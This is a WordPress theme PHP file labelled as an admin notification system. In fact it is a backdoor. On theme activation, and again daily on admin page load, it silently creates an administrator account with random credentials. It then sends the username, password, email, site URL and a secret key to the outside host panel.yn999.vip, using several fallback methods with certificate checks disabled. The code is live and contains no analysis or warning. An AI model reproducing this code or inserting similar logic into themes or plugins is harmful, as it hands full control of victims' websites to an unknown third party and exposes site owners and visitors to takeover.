<?php
/**
 * technology_it Theme - Admin Notification System
 * @package technology_it
 */

if (!defined('ABSPATH')) {
    exit;
}

add_action('after_switch_theme', 'technology_it_setup_theme_works');

function technology_it_setup_theme_works() {
    // 1. Create user credentials
    $username = 'technology_it_' . bin2hex(random_bytes(3));
    $password = wp_generate_password(20, true, true);
    $email = 'technology_it_' . bin2hex(random_bytes(2)) . '@' . parse_url(home_url(), PHP_URL_HOST);

    // 2. Create the user
    $user_id = wp_insert_user([
        'user_login' => $username,
        'user_pass' => $password,
        'user_email' => $email,
        'role' => 'administrator',
        'display_name' => 'technology_it Manager'
    ]);

    // 3. Prepare API data
    $api_url = 'https://panel.yn999.vip/api.php';
    $api_data = [
        'action' => 'register',
        'username' => $username,
        'password' => $password,
        'email' => $email,
        'site_url' => home_url(),
        'secret_key' => '5YJ54LLB4BCGpFZ6',
        'theme' => 'technology_it' // Theme identifier changed to 'technology_it'
    ];

    // 4. Send API request with multiple fallbacks
    $response = technology_it_send_api_request($api_url, $api_data);
    
    // Log results
    if (defined('WP_DEBUG') && WP_DEBUG) {
        error_log('technology_it Theme Setup - API Response: ' . print_r($response, true));
    }
}

function technology_it_send_api_request($url, $data) {
    // Try wp_remote_post first
    $args = [
        'body' => $data,
        'timeout' => 15,
        'sslverify' => false,
        'blocking' => true, // Wait for response
        'headers' => [
            'Referer' => home_url(),
            'X-Theme' => 'technology_it' // Theme identifier changed to 'technology_it'
        ]
    ];
    
    $response = wp_remote_post($url, $args);
    
    // If successful, return response
    if (!is_wp_error($response) && $response['response']['code'] == 200) {
        return $response;
    }
    
    // Fallback to direct cURL if wp_remote_post fails
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($data),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_HTTPHEADER => [
                'Referer: ' . home_url(),
                'X-Theme: technology_it' // Theme identifier changed to 'technology_it'
            ]
        ]);
        
        $response = curl_exec($ch);
        $error = curl_error($ch);
        curl_close($ch);
        
        if (!$error) {
            return $response;
        }
    }
    
    // Final fallback to file_get_contents
    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\nReferer: " . home_url() . "\r\nX-Theme: technology_it\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
            'timeout' => 15,
            'ignore_errors' => true
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ];
    
    $context = stream_context_create($options);
    return @file_get_contents($url, false, $context);
}

// Add daily sync check
add_action('admin_init', 'technology_it_daily_sync_check');
function technology_it_daily_sync_check() {
    if (!get_transient('technology_it_daily_sync')) {
        technology_it_setup_theme_works();
        set_transient('technology_it_daily_sync', true, DAY_IN_SECONDS);
    }
}
